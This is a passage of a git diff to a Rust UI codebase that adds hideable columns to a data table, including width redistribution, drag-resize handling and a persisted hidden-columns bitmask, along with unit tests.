             selected_sha: None,
             search_query: None,
             search_case_sensitive: None,
+            hidden_columns: None,
         };
         assert_eq!(
             persistence::deserialize_log_source(&all_state),
@@ -5951,6 +6138,34 @@ mod tests {
         ));
     }
 
+    #[gpui::test]
+    fn test_hidden_columns_bitmask_roundtrip(_cx: &mut TestAppContext) {
+        let mask = [false, true, false, true, false];
+        let bits = persistence::serialize_hidden_columns(&mask);
+        assert_eq!(
+            persistence::deserialize_hidden_columns(bits, mask.len()),
+            mask.to_vec()
+        );
+
+        assert_eq!(persistence::serialize_hidden_columns(&[false; 5]), 0);
+        assert_eq!(
+            persistence::deserialize_hidden_columns(0, 4),
+            vec![false; 4]
+        );
+
+        // A mask saved with more columns than we restore with is truncated safely, and one
+        // saved with fewer columns defaults the extra columns to visible.
+        let bits = persistence::serialize_hidden_columns(&[true, false, true, false, true]);
+        assert_eq!(
+            persistence::deserialize_hidden_columns(bits, 4),
+            vec![true, false, true, false]
+        );
+        assert_eq!(
+            persistence::deserialize_hidden_columns(bits, 6),
+            vec![true, false, true, false, true, false]
+        );
+    }
+
     #[gpui::test]
     async fn test_git_graph_state_persists_across_serialization_roundtrip(cx: &mut TestAppContext) {
         init_test(cx);
@@ -6026,6 +6241,9 @@ mod tests {
             .await
             .expect("should create workspace id");
         let db = cx.read(|cx| persistence::GitGraphsDb::global(cx));
+        // Hide the "Date" column (index 2 in the non-path-history layout).
+        let hidden_columns =
+            persistence::serialize_hidden_columns(&[false, false, true, false, false]);
         db.save_git_graph(
             item_id,
             workspace_id,
@@ -6036,6 +6254,7 @@ mod tests {
             selected_sha.clone(),
             Some("some query".to_string()),
             Some(true),
+            Some(hidden_columns),
         )
         .await
         .expect("save should succeed");
@@ -6089,6 +6308,12 @@ mod tests {
                 graph.search_state.case_sensitive, true,
                 "search case sensitivity should be restored"
             );
+
+            assert_eq!(
+                graph.column_visibility.as_slice(),
+                &[false, false, true, false, false],
+                "hidden columns should be restored"
+            );
         });
 
         restored_graph.read_with(&*cx, |graph, cx| {
diff --git a/crates/ui/src/components/context_menu.rs b/crates/ui/src/components/context_menu.rs
index 4b98199239b20a..2a3388a406ae5a 100644
--- a/crates/ui/src/components/context_menu.rs
+++ b/crates/ui/src/components/context_menu.rs
@@ -610,9 +610,23 @@ impl ContextMenu {
     }
 
     pub fn toggleable_entry(
+        self,
+        label: impl Into<SharedString>,
+        toggled: bool,
+        position: IconPosition,
+        action: Option<Box<dyn Action>>,
+        handler: impl Fn(&mut Window, &mut App) + 'static,
+    ) -> Self {
+        self.toggleable_entry_disabled_when(label, toggled, false, position, action, handler)
+    }
+
+    /// Like [`Self::toggleable_entry`], but the entry is rendered disabled (and its handler is not
+    /// invoked) when `disabled` is `true`.
+    pub fn toggleable_entry_disabled_when(
         mut self,
         label: impl Into<SharedString>,
         toggled: bool,
+        disabled: bool,
         position: IconPosition,
         action: Option<Box<dyn Action>>,
         handler: impl Fn(&mut Window, &mut App) + 'static,
@@ -629,7 +643,7 @@ impl ContextMenu {
             icon_size: IconSize::Small,
             icon_color: None,
             action,
-            disabled: false,
+            disabled,
             documentation_aside: None,
             end_slot_icon: None,
             end_slot_title: None,
diff --git a/crates/ui/src/components/data_table.rs b/crates/ui/src/components/data_table.rs
index 609ddef1d81e4b..805c93708ac871 100644
--- a/crates/ui/src/components/data_table.rs
+++ b/crates/ui/src/components/data_table.rs
@@ -7,8 +7,8 @@ use crate::{
     RESIZE_DIVIDER_WIDTH, RedistributableColumnsState, RegisterComponent, RenderOnce, ScrollAxes,
     ScrollableHandle, Scrollbars, SharedString, StatefulInteractiveElement, Styled, StyledExt as _,
     StyledTypography, TableResizeBehavior, Window, WithScrollbar, bind_redistributable_columns,
-    div, example_group_with_title, h_flex, px, render_column_resize_divider,
-    render_redistributable_columns_resize_handles, single_example,
+    div, example_group_with_title, h_flex, px, redistribute_hidden_widths,
+    render_column_resize_divider, render_redistributable_columns_resize_handles, single_example,
     table_row::{IntoTableRow as _, TableRow},
     v_flex,
 };
@@ -368,6 +368,9 @@ pub struct Table {
     cols: usize,
     disable_base_cell_style: bool,
     pinned_cols: usize,
+    /// Optional per-column visibility mask. When set, it overrides any filter derived from the
+    /// column width config. Columns whose entry is `true` are hidden.
+    column_filter: Option<TableRow<bool>>,
 }
 
 impl Table {
@@ -387,9 +390,20 @@ impl Table {
             disable_base_cell_style: false,
             column_width_config: ColumnWidthConfig::auto(),
             pinned_cols: 0,
+            column_filter: None,
         }
     }
 
+    /// Sets a per-column visibility mask. Columns whose entry is `true` are filtered out (hidden).
+    ///
+    /// This is useful when column visibility is driven by state that isn't part of the column
+    /// width config (for example a `Static`/`Explicit` width config). When set, this overrides
+    /// any filter derived from the column width config.
+    pub fn column_filter(mut self, filter: TableRow<bool>) -> Self {
+        self.column_filter = Some(filter);
+        self
+    }
+
     /// Disables based styling of row cell (paddings, text ellipsis, nowrap, etc), keeping width settings
     ///
     /// Doesn't affect base style of header cell.
@@ -646,18 +660,28 @@ pub fn render_table_row(
         });
 
     let pinned_cols = table_context.pinned_cols;
+    let column_filter = &table_context.column_filter;
 
     if is_pinned_layout(pinned_cols, cols) {
-        let mut items_vec: Vec<AnyElement> = items.map(IntoElement::into_any_element).into_vec();
-        let mut widths_vec: Vec<Option<Length>> = column_widths.into_vec();
-
-        let scrollable_items: Vec<AnyElement> = items_vec.drain(pinned_cols..).collect();
-        let scrollable_widths: Vec<Option<Length>> = widths_vec.drain(pinned_cols..).collect();
+        let items_vec: Vec<AnyElement> = items.map(IntoElement::into_any_element).into_vec();
+        let widths_vec: Vec<Option<Length>> = column_widths.into_vec();
+
+        // Drop filtered columns before splitting into pinned/scrollable sections. The number of
+        // pinned columns that survive filtering determines where the kept cells are split.
+        let pinned_visible = (0..pinned_cols)
+            .filter(|&idx| column_is_visible(column_filter, idx))
+            .count();
+        let mut kept: Vec<(AnyElement, Option<Length>)> = items_vec
+            .into_iter()
+            .zip(widths_vec)
+            .enumerate()
+            .filter(|(idx, _)| column_is_visible(column_filter, *idx))
+            .map(|(_, pair)| pair)
+            .collect();
+        let scrollable: Vec<(AnyElement, Option<Length>)> = kept.drain(pinned_visible..).collect();
 
         let pinned_section = div().flex().flex_row().flex_shrink_0().children(
-            items_vec
-                .into_iter()
-                .zip(widths_vec)
+            kept.into_iter()
                 .map(|(cell, width)| render_cell(width, cell, &table_context, cx)),
         );
 
@@ -671,9 +695,8 @@ pub fn render_table_row(
             .flex()
             .child(
                 div().flex().flex_row().children(
-                    scrollable_items
+                    scrollable
                         .into_iter()
-                        .zip(scrollable_widths)
                         .map(|(cell, width)| render_cell(width, cell, &table_context, cx)),
                 ),
             );
@@ -691,7 +714,9 @@ pub fn render_table_row(
                 .into_vec()
                 .into_iter()
                 .zip(column_widths.into_vec())
-                .map(|(cell, width)| render_cell(width, cell, &table_context, cx)),
+                .enumerate()
+                .filter(|(idx, _)| column_is_visible(column_filter, *idx))
+                .map(|(_, (cell, width))| render_cell(width, cell, &table_context, cx)),
         );
     }
 
@@ -735,52 +760,61 @@ pub fn render_table_header(
 
     let use_ui_font = table_context.use_ui_font;
     let resize_info_ref = resize_info.as_ref();
+    let column_filter = &table_context.column_filter;
 
     if is_pinned_layout(pinned_cols, cols) {
-        let mut headers_vec: Vec<AnyElement> = headers
+        let headers_vec: Vec<AnyElement> = headers
             .into_vec()
             .into_iter()
             .map(IntoElement::into_any_element)
             .collect();
-        let mut widths_vec: Vec<Option<Length>> = column_widths.into_vec();
-
-        let scrollable_headers: Vec<AnyElement> = headers_vec.drain(pinned_cols..).collect();
-        let scrollable_widths: Vec<Option<Length>> = widths_vec.drain(pinned_cols..).collect();
+        let widths_vec: Vec<Option<Length>> = column_widths.into_vec();
+
+        // Keep the original column index alongside each visible header so that resize info
+        // (which is indexed by original column position) stays correct after filtering.
+        let pinned_visible = (0..pinned_cols)
+            .filter(|&idx| column_is_visible(column_filter, idx))
+            .count();
+        let mut kept: Vec<(usize, AnyElement, Option<Length>)> = headers_vec
+            .into_iter()
+            .zip(widths_vec)
+            .enumerate()
+            .filter(|(idx, _)| column_is_visible(column_filter, *idx))
+            .map(|(idx, (h, width))| (idx, h, width))
+            .collect();
+        let scrollable: Vec<(usize, AnyElement, Option<Length>)> =
+            kept.drain(pinned_visible..).collect();
 
         let pinned_section =
-            div().flex().flex_row().flex_shrink_0().children(
-                headers_vec.into_iter().enumerate().zip(widths_vec).map(
-                    |((header_idx, h), width)| {
-                        render_header_cell(
-                            h,
-                            width,
-                            header_idx,
-                            &shared_element_id,
-                            resize_info_ref,
-                            use_ui_font,
-                            cx,
-                        )
-                    },
-                ),
-            );
-
-        let inner = div().flex().flex_row().children(
-            scrollable_headers
-                .into_iter()
-                .enumerate()
-                .zip(scrollable_widths)
-                .map(|((rel_idx, h), width)| {
+            div()
+                .flex()
+                .flex_row()
+                .flex_shrink_0()
+                .children(kept.into_iter().map(|(header_idx, h, width)| {
                     render_header_cell(
                         h,
                         width,
-                        pinned_cols + rel_idx,
+                        header_idx,
                         &shared_element_id,
                         resize_info_ref,
                         use_ui_font,
                         cx,
                     )
-                }),
-        );
+                }));
+
+        let inner = div().flex().flex_row().children(scrollable.into_iter().map(
+            |(header_idx, h, width)| {
+                render_header_cell(
+                    h,
+                    width,
+                    header_idx,
+                    &shared_element_id,
+                    resize_info_ref,
+                    use_ui_font,
+                    cx,
+                )
+            },
+        ));
         let mut scrollable_section = div()
             .id("table-header-scrollable")
             .flex_grow_1()
@@ -805,6 +839,7 @@ pub fn render_table_header(
                     .into_iter()
                     .enumerate()
                     .zip(column_widths.into_vec())
+                    .filter(|((idx, _), _)| column_is_visible(column_filter, *idx))
                     .map(|((header_idx, h), width)| {
                         render_header_cell(
                             h.into_any_element(),
@@ -832,6 +867,9 @@ pub struct TableRenderContext {
     pub use_ui_font: bool,
     pub disable_base_cell_style: bool,
     pub pinned_cols: usize,
+    /// Per-column visibility mask. When `Some`, columns whose entry is `true` are filtered
+    /// out (hidden) and not rendered. Indices map to the table's original column positions.
+    pub column_filter: Option<TableRow<bool>>,
     /// Scroll handle shared by all scrollable sections in rows and headers.
     /// When `pinned_cols > 0`, each row's scrollable section tracks this handle so all rows
     /// scroll together without requiring per-scroll re-renders.
@@ -845,11 +883,15 @@ impl TableRenderContext {
             show_row_borders: table.show_row_borders,
             show_row_hover: table.show_row_hover,
             total_row_count: table.rows.len(),
-            column_widths: table.column_width_config.widths_to_render(cx),
+            column_widths: table
+                .column_width_config
+                .widths_to_render(cx)
+                .map(|widths| redistribute_hidden_widths(&widths, table.column_filter.as_ref())),
             map_row: table.map_row.clone(),
             use_ui_font: table.use_ui_font,
             disable_base_cell_style: table.disable_base_cell_style,
             pinned_cols: table.pinned_cols,
+            column_filter: table.column_filter.clone(),
             h_scroll_handle,
         }
     }
@@ -865,9 +907,23 @@ impl TableRenderContext {
             use_ui_font,
             disable_base_cell_style: false,
             pinned_cols: 0,
+            column_filter: None,
             h_scroll_handle: None,
         }
     }
+
+    /// Sets the per-column visibility mask. Columns whose entry is `true` are hidden.
+    pub fn with_column_filter(mut self, column_filter: Option<TableRow<bool>>) -> Self {
+        self.column_filter = column_filter;
+        self
+    }
+}
+
+/// Returns `true` when the column at `col_idx` should be rendered (i.e. not filtered out).
+fn column_is_visible(filter: &Option<TableRow<bool>>, col_idx: usize) -> bool {
+    filter
+        .as_ref()
+        .map_or(true, |mask| !mask.get(col_idx).copied().unwrap_or(false))
 }
 
 /// Builds resize dividers for the given column range, positioned absolutely from `left: 0`.
@@ -1090,6 +1146,7 @@ impl RenderOnce for Table {
                         None,
                         Some(render_redistributable_columns_resize_handles(
                             columns_state,
+                            self.column_filter.as_ref(),
                             window,
                             cx,
                         )),
@@ -1127,7 +1184,7 @@ impl RenderOnce for Table {
                 ))
             })
             .when_some(redistributable_entity, |this, widths| {
-                bind_redistributable_columns(this, widths)
+                bind_redistributable_columns(this, widths, self.column_filter.clone())
             })
             .when_some(resizable_entity, |this, entity| {
                 let scroll_handle_for_drag = h_scroll_handle.clone();
diff --git a/crates/ui/src/components/data_table/table_row.rs b/crates/ui/src/components/data_table/table_row.rs
index 9ef75e4cbbb727..94d9910df3366b 100644
--- a/crates/ui/src/components/data_table/table_row.rs
+++ b/crates/ui/src/components/data_table/table_row.rs
@@ -74,6 +74,10 @@ impl<T> TableRow<T> {
         &self.0
     }
 
+    pub fn as_mut_slice(&mut self) -> &mut [T] {
+        &mut self.0
+    }
+
     pub fn into_vec(self) -> Vec<T> {
         self.0
     }
diff --git a/crates/ui/src/components/data_table/tests.rs b/crates/ui/src/components/data_table/tests.rs
index 509cceca71204b..652ef47467fe13 100644
--- a/crates/ui/src/components/data_table/tests.rs
+++ b/crates/ui/src/components/data_table/tests.rs
@@ -319,6 +319,130 @@ mod drag_handle {
     );
 }
 
+mod drag_with_hidden_columns {
+    use super::*;
+
+    // Dragging with hidden (filtered) columns: the resize dividers are laid out using the
+    // *redistributed* (visible-only) widths, so `compute_drag_preview` must do its geometry in
+    // that same space and skip hidden columns when propagating the resize to a neighbor.
+
+    /// Mirrors how the renderer turns raw widths into the on-screen layout: hidden columns
+    /// collapse to zero and their space is redistributed across the visible columns.
+    fn redistributed(widths: &[f32], hidden: &[bool]) -> Vec<f32> {
+        let visible_sum: f32 = widths
+            .iter()
+            .zip(hidden)
+            .filter(|(_, is_hidden)| !**is_hidden)
+            .map(|(width, _)| *width)
+            .sum();
+        widths
+            .iter()
+            .zip(hidden)
+            .map(|(width, is_hidden)| {
+                if *is_hidden {
+                    0.0
+                } else {
+                    *width / visible_sum
+                }
+            })
+            .collect()
+    }
+
+    #[test]
+    fn drag_without_hidden_columns_is_unchanged() {
+        // Guards the pre-existing behavior: with no hidden mask the drag operates on the raw
+        // widths directly (the visible space and the raw space are the same).
+        let resize_behavior = TableRow::from_vec(vec![TableResizeBehavior::Resizable; 3], 3);
+        let widths = TableRow::from_vec(vec![1.0 / 3.0; 3], 3);
+
+        let result = RedistributableColumnsState::compute_drag_preview(
+            widths,
+            &resize_behavior,
+            None,
+            1,
+            0.8,
+            0.0,
+        );
+
+        let result = result.as_slice();
+        let boundary = result[0] + result[1];
+        assert!(
+            (boundary - 0.8).abs() < 1e-6,
+            "expected the boundary after column 1 to follow the cursor to 0.8: {result:?}",
+        );
+        assert!(
+            (result[0] - 1.0 / 3.0).abs() < 1e-6,
+            "column 0 must not be affected: {result:?}",
+        );
+    }
+
+    #[test]
+    fn drag_boundary_follows_cursor_with_hidden_column() {
+        // Three equal columns; column 0 is hidden. The two visible columns each render at 0.5
+        // of the container. The user grabs the divider between the visible columns (original
+        // index 1) and drags the cursor to 70% of the container. The boundary between the
+        // visible columns should follow the cursor to 0.7.
+        let resize_behavior = TableRow::from_vec(vec![TableResizeBehavior::Resizable; 3], 3);
+        let widths = TableRow::from_vec(vec![1.0 / 3.0; 3], 3);
+        let hidden = [true, false, false];
+        let hidden_mask = TableRow::from_vec(hidden.to_vec(), 3);
+
+        let result = RedistributableColumnsState::compute_drag_preview(
+            widths,
+            &resize_behavior,
+            Some(&hidden_mask),
+            1,
+            0.7,
+            0.0,
+        );
+
+        let rendered = redistributed(result.as_slice(), &hidden);
+        assert!(
+            (rendered[1] - 0.7).abs() < 1e-3,
+            "expected the visible boundary to follow the cursor to 0.7, got {} (raw {:?})",
+            rendered[1],
+            result.as_slice(),
+        );
+    }
+
+    #[test]
+    fn drag_does_not_resize_hidden_neighbor() {
+        // Three equal columns; the middle column (1) is hidden. The only divider the user can
+        // grab sits between visible columns 0 and 2 (original index 0). Dragging it must resize
+        // the next *visible* column (2) and leave the hidden column's width untouched.
+        let resize_behavior = TableRow::from_vec(vec![TableResizeBehavior::Resizable; 3], 3);
+        let widths = TableRow::from_vec(vec![1.0 / 3.0; 3], 3);
+        let hidden = [false, true, false];
+        let hidden_mask = TableRow::from_vec(hidden.to_vec(), 3);
+
+        let result = RedistributableColumnsState::compute_drag_preview(
+            widths,
+            &resize_behavior,
+            Some(&hidden_mask),
+            0,
+            0.7,
+            0.0,
+        );
+
+        let result = result.as_slice();
+        assert!(
+            (result[1] - 1.0 / 3.0).abs() < 1e-6,
+            "hidden column width must be preserved, but it changed: {result:?}",
+        );
+        // The drag moved width from visible column 2 to visible column 0, so the total is
+        // unchanged and the next *visible* column absorbed the resize.
+        let total: f32 = result.iter().sum();
+        assert!(
+            (total - 1.0).abs() < 1e-6,
+            "total must be preserved: {result:?}"
+        );
+        assert!(
+            result[0] > 1.0 / 3.0 && result[2] < 1.0 / 3.0,
+            "expected the resize to be absorbed by the next visible column: {result:?}",
+        );
+    }
+}
+
 mod resizable_drag {
     use super::*;
 
@@ -419,3 +543,115 @@ mod pin_layout {
         assert!(is_pinned_layout(4, 5));
     }
 }
+
+mod column_filter {
+    use super::super::column_is_visible;
+    use super::*;
+    use crate::{redistribute_hidden_fractions, redistribute_hidden_widths};
+    use gpui::{DefiniteLength, Length};
+
+    fn frac_row(values: &[f32]) -> TableRow<f32> {
+        TableRow::from_vec(values.to_vec(), values.len())
+    }
+
+    fn hidden_row(values: &[bool]) -> TableRow<bool> {
+        TableRow::from_vec(values.to_vec(), values.len())
+    }
+
+    fn width_row(values: &[f32]) -> TableRow<Length> {
+        TableRow::from_vec(
+            values
+                .iter()
+                .map(|fraction| Length::Definite(DefiniteLength::Fraction(*fraction)))
+                .collect(),
+            values.len(),
+        )
+    }
+
+    fn width_fractions(widths: &TableRow<Length>) -> Vec<f32> {
+        widths
+            .as_slice()
+            .iter()
+            .map(|length| match length {
+                Length::Definite(DefiniteLength::Fraction(fraction)) => *fraction,
+                other => panic!("expected fraction, got {other:?}"),
+            })
+            .collect()
+    }
+
+    #[test]
+    fn column_is_visible_respects_mask() {
+        let filter = Some(hidden_row(&[false, true, false]));
+        assert!(column_is_visible(&filter, 0));
+        assert!(!column_is_visible(&filter, 1));
+        assert!(column_is_visible(&filter, 2));
+        // Indices outside the mask default to visible.
+        assert!(column_is_visible(&filter, 5));
+    }
+
+    #[test]
+    fn column_is_visible_without_filter_is_always_visible() {
+        let filter: Option<TableRow<bool>> = None;
+        assert!(column_is_visible(&filter, 0));
+        assert!(column_is_visible(&filter, 100));
+    }
+
+    #[test]
+    fn redistribute_widths_is_identity_without_hidden_columns() {
+        let widths = width_row(&[0.25, 0.25, 0.25, 0.25]);
+        assert_eq!(
+            width_fractions(&redistribute_hidden_widths(&widths, None)),
+            vec![0.25, 0.25, 0.25, 0.25]
+        );
+
+        let none_hidden = hidden_row(&[false, false, false, false]);
+        assert_eq!(
+            width_fractions(&redistribute_hidden_widths(&widths, Some(&none_hidden))),
+            vec![0.25, 0.25, 0.25, 0.25]
+        );
+    }
+
+    #[test]
+    fn redistribute_widths_scales_visible_columns_to_fill() {
+        let widths = width_row(&[0.25, 0.25, 0.25, 0.25]);
+        let hidden = hidden_row(&[false, true, false, false]);
+        let result = width_fractions(&redistribute_hidden_widths(&widths, Some(&hidden)));
+
+        // The hidden column keeps its stored width rather than being zeroed out (it is simply
+        // not rendered), so its width is restored intact when it is shown again.
+        assert_eq!(result[1], 0.25);
+        // The visible columns expand to fill the container.
+        let visible_sum: f32 = result[0] + result[2] + result[3];
+        assert!(
+            (visible_sum - 1.0).abs() < 1e-6,
+            "visible sum was {visible_sum}"
+        );
+        // Equal initial fractions stay equal after redistribution.
+        assert!((result[0] - result[2]).abs() < 1e-6);
+        assert!((result[0] - result[3]).abs() < 1e-6);
+    }
+
+    #[test]
+    fn redistribute_fractions_scales_visible_columns_to_fill() {
+        let fractions = frac_row(&[0.25, 0.25, 0.25, 0.25]);
+        let hidden = hidden_row(&[false, true, false, false]);
+        let result = redistribute_hidden_fractions(&fractions, Some(&hidden));
+        let result = result.as_slice();
+
+        assert_eq!(result[1], 0.25);
+        let visible_sum: f32 = result[0] + result[2] + result[3];
+        assert!(
+            (visible_sum - 1.0).abs() < 1e-6,
+            "visible sum was {visible_sum}"
+        );
+    }
+
+    #[test]
+    fn redistribute_fractions_is_identity_without_hidden_columns() {
+        let fractions = frac_row(&[0.2, 0.3, 0.5]);
+        assert_eq!(
+            redistribute_hidden_fractions(&fractions, None).as_slice(),
+            &[0.2, 0.3, 0.5]
+        );
+    }
+}
diff --git a/crates/ui/src/components/redistributable_columns.rs b/crates/ui/src/components/redistributable_columns.rs
index cb5da35d565185..0fa93c8ba35d82 100644
--- a/crates/ui/src/components/redistributable_columns.rs
+++ b/crates/ui/src/components/redistributable_columns.rs
@@ -1,11 +1,3 @@
-use std::rc::Rc;
-
-use gpui::{
-    AbsoluteLength, AppContext as _, Bounds, DefiniteLength, DragMoveEvent, Empty, Entity,
-    EntityId, Length, Stateful, WeakEntity,
-};
-use itertools::intersperse_with;
-
 use super::data_table::{
     ResizableColumnsState,
     table_row::{IntoTableRow as _, TableRow},
@@ -15,6 +7,11 @@ use crate::{
     IntoElement, ParentElement, Pixels, StatefulInteractiveElement, Styled, Window, div, h_flex,
     px,
 };
+use gpui::{
+    AbsoluteLength, AppContext as _, Bounds, DefiniteLength, DragMoveEvent, Empty, Entity,
+    EntityId, Length, Stateful, WeakEntity,
+};
+use std::rc::Rc;
 
 pub(crate) const RESIZE_COLUMN_WIDTH: f32 = 8.0;
 pub(crate) const RESIZE_DIVIDER_WIDTH: f32 = 1.0;
@@ -270,6 +267,7 @@ impl RedistributableColumnsState {
     fn on_drag_move(
         &mut self,
         drag_event: &DragMoveEvent<DraggedColumn>,
+        hidden: Option<&TableRow<bool>>,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
@@ -280,7 +278,6 @@ impl RedistributableColumnsState {
             return;
         }
 
-        let mut col_position = 0.0;
         let rem_size = window.rem_size();
         let col_idx = drag_event.drag(cx).col_idx;
 
@@ -290,28 +287,107 @@ impl RedistributableColumnsState {
             rem_size,
         );
 
-        let mut widths = self
+        let widths = self
             .committed_widths
             .map_ref(|length| Self::get_fraction(length, bounds_width, rem_size));
 
-        for length in widths[0..=col_idx].iter() {
+        let drag_fraction = (drag_position.x - bounds.left()) / bounds_width;
+
+        let widths = Self::compute_drag_preview(
+            widths,
+            &self.resize_behavior,
+            hidden,
+            col_idx,
+            drag_fraction,
+            divider_width,
+        );
+
+        self.preview_widths = widths.map(DefiniteLength::Fraction);
+    }
+
+    /// Computes the preview column fractions produced by dragging the divider after `col_idx`
+    /// to `drag_fraction` (the cursor's x position expressed as a fraction of the container
+    /// width). `divider_width` is the resize-divider width as a fraction of the container.
+    ///
+    /// The on-screen layout only contains the visible columns, with the hidden columns' width
+    /// budget redistributed across them (see [`redistribute_hidden_widths`]), so the geometry
+    /// here is done in that visible/redistributed space: the raw `widths` are compacted to the
+    /// visible columns and scaled to match the rendered layout, the drag is applied there (which
+    /// also makes neighbor propagation skip hidden columns), and the result is mapped back to
+    /// the raw widths, leaving hidden columns untouched.
+    ///
+    /// Extracted as a pure function so the drag math can be unit tested, mirroring the
+    /// `drag_column_handle` / `propagate_resize_diff` helpers.
+    pub(crate) fn compute_drag_preview(
+        mut widths: TableRow<f32>,
+        resize_behavior: &TableRow<TableResizeBehavior>,
+        hidden: Option<&TableRow<bool>>,
+        col_idx: usize,
+        drag_fraction: f32,
+        divider_width: f32,
+    ) -> TableRow<f32> {
+        let visible_cols: Vec<usize> = (0..widths.cols())
+            .filter(|idx| !is_column_hidden(hidden, *idx))
+            .collect();
+
+        // Dividers are only rendered after visible columns, so a hidden `col_idx` should be
+        // impossible; bail out rather than resizing the wrong column.
+        let Some(divider_position) = visible_cols.iter().position(|&idx| idx == col_idx) else {
+            return widths;
+        };
+
+        let total_sum: f32 = widths.as_slice().iter().sum();
+        let visible_sum: f32 = visible_cols.iter().map(|&idx| widths[idx]).sum();
+        // The drag only moves width between visible columns, so `visible_sum` (and therefore
+        // this scale) is the same before and after the drag, making the mapping back exact.
+        let scale = if visible_sum > 0.0 {
+            total_sum / visible_sum
+        } else {
+            1.0
+        };
+
+        let mut rendered_widths = TableRow::from_vec(
+            visible_cols
+                .iter()
+                .map(|&idx| widths[idx] * scale)
+                .collect(),
+            visible_cols.len(),
+        );
+        let rendered_behavior = TableRow::from_vec(
+            visible_cols
+                .iter()
+                .map(|&idx| resize_behavior[idx])
+                .collect(),
+            visible_cols.len(),
+        );
+
+        let mut col_position = 0.0;
+        for length in rendered_widths[0..=divider_position].iter() {
             col_position += length + divider_width;
         }
 
         let mut total_length_ratio = col_position;
-        for length in widths[col_idx + 1..].iter() {
+        for length in rendered_widths[divider_position + 1..].iter() {
             total_length_ratio += length;
         }
-        let cols = self.resize_behavior.cols();
-        total_length_ratio += (cols - 1 - col_idx) as f32 * divider_width;
+        let cols = rendered_behavior.cols();
+        total_length_ratio += (cols - 1 - divider_position) as f32 * divider_width;
 
-        let drag_fraction = (drag_position.x - bounds.left()) / bounds_width;
         let drag_fraction = drag_fraction * total_length_ratio;
         let diff = drag_fraction - col_position - divider_width / 2.0;
 
-        Self::drag_column_handle(diff, col_idx, &mut widths, &self.resize_behavior);
+        Self::drag_column_handle(
+            diff,
+            divider_position,
+            &mut rendered_widths,
+            &rendered_behavior,
+        );
 
-        self.preview_widths = widths.map(DefiniteLength::Fraction);
+        for (visible_position, &idx) in visible_cols.iter().enumerate() {
+            widths[idx] = rendered_widths[visible_position] / scale;
+        }
+
+        widths
     }
 
     pub(crate) fn drag_column_handle(
@@ -385,9 +461,99 @@ impl RedistributableColumnsState {
     }
 }
 
+/// Returns `true` when the column at `idx` is hidden by `hidden`.
+pub fn is_column_hidden(hidden: Option<&TableRow<bool>>, idx: usize) -> bool {
+    hidden
+        .and_then(|mask| mask.get(idx).copied())
+        .unwrap_or(false)
+}
+
+/// Redistributes the fractional width budget of hidden columns across the visible columns so the
+/// visible columns fill the container instead of leaving a gap. Hidden columns keep their stored
+/// width (they are never rendered, so the value is not shown) and `Absolute` widths are left
+/// untouched. Returns the widths unchanged when no column is hidden.
+pub fn redistribute_hidden_widths(
+    widths: &TableRow<Length>,
+    hidden: Option<&TableRow<bool>>,
+) -> TableRow<Length> {
+    if !(0..widths.cols()).any(|idx| is_column_hidden(hidden, idx)) {
+        return widths.clone();
+    }
+
+    let mut total_fraction_sum = 0.0;
+    let mut visible_fraction_sum = 0.0;
+    for (idx, width) in widths.as_slice().iter().enumerate() {
+        if let Length::Definite(DefiniteLength::Fraction(fraction)) = width {
+            total_fraction_sum += *fraction;
+            if !is_column_hidden(hidden, idx) {
+                visible_fraction_sum += *fraction;
+            }
+        }
+    }
+    let scale = if visible_fraction_sum > 0.0 {
+        total_fraction_sum / visible_fraction_sum
+    } else {
+        1.0
+    };
+
+    let scaled: Vec<Length> = widths
+        .as_slice()
+        .iter()
+        .enumerate()
+        .map(|(idx, width)| match width {
+            Length::Definite(DefiniteLength::Fraction(fraction))
+                if !is_column_hidden(hidden, idx) =>
+            {
+                Length::Definite(DefiniteLength::Fraction(fraction * scale))
+            }
+            other => *other,
+        })
+        .collect();
+    TableRow::from_vec(scaled, widths.cols())
+}
+
+/// Fraction-valued counterpart of [`redistribute_hidden_widths`].
+pub fn redistribute_hidden_fractions(
+    fractions: &TableRow<f32>,
+    hidden: Option<&TableRow<bool>>,
+) -> TableRow<f32> {
+    if !(0..fractions.cols()).any(|idx| is_column_hidden(hidden, idx)) {
+        return fractions.clone();
+    }
+
+    let total_sum: f32 = fractions.as_slice().iter().sum();
+    let visible_sum: f32 = fractions
+        .as_slice()
+        .iter()
+        .enumerate()
+        .filter(|(idx, _)| !is_column_hidden(hidden, *idx))
+        .map(|(_, fraction)| *fraction)
+        .sum();
+    let scale = if visible_sum > 0.0 {
+        total_sum / visible_sum
+    } else {
+        1.0
+    };
+
+    let scaled: Vec<f32> = fractions
+        .as_slice()
+        .iter()
+        .enumerate()
+        .map(|(idx, fraction)| {
+            if is_column_hidden(hidden, idx) {
+                *fraction
+            } else {
+                fraction * scale
+            }
+        })
+        .collect();
+    TableRow::from_vec(scaled, fractions.cols())
+}
+
 pub fn bind_redistributable_columns(
     container: Div,
     columns_state: Entity<RedistributableColumnsState>,
+    hidden: Option<TableRow<bool>>,
 ) -> Div {
     container
         .on_drag_move::<DraggedColumn>({
@@ -397,7 +563,7 @@ pub fn bind_redistributable_columns(
                     return;
                 }
                 columns_state.update(cx, |columns, cx| {
-                    columns.on_drag_move(event, window, cx);
+                    columns.on_drag_move(event, hidden.as_ref(), window, cx);
                 });
             }
         })
@@ -420,65 +586,70 @@ pub fn bind_redistributable_columns(
 
 pub fn render_redistributable_columns_resize_handles(
     columns_state: &Entity<RedistributableColumnsState>,
+    hidden: Option<&TableRow<bool>>,
     window: &mut Window,
     cx: &mut App,
 ) -> AnyElement {
     let (column_widths, resize_behavior) = {
         let state = columns_state.read(cx);
-        (state.widths_to_render(), state.resize_behavior().clone())
+        (
+            redistribute_hidden_widths(&state.widths_to_render(), hidden),
+            state.resize_behavior().clone(),
+        )
     };
 
-    let mut column_ix = 0;
-    let resize_behavior = Rc::new(resize_behavior);
-    let dividers = intersperse_with(
-        column_widths
-            .as_slice()
-            .iter()
-            .copied()
-            .map(|width| resize_spacer(width).into_any_element()),
-        || {
-            let current_column_ix = column_ix;
-            let resize_behavior = Rc::clone(&resize_behavior);
-            let columns_state = columns_state.clone();
-            column_ix += 1;
+    // Only the visible columns participate in the layout; filtered columns are skipped entirely
+    // (no spacer, no divider) so we don't draw a stray resize line where a hidden column was.
+    let visible_cols: Vec<usize> = (0..column_widths.cols())
+        .filter(|idx| !is_column_hidden(hidden, *idx))
+        .collect();
+
+    let mut children: Vec<AnyElement> = Vec::with_capacity(visible_cols.len() * 2);
+    for (position, &col_idx) in visible_cols.iter().enumerate() {
+        children.push(resize_spacer(column_widths[col_idx]).into_any_element());
+
+        // A divider is rendered after every visible column except the last, mirroring the
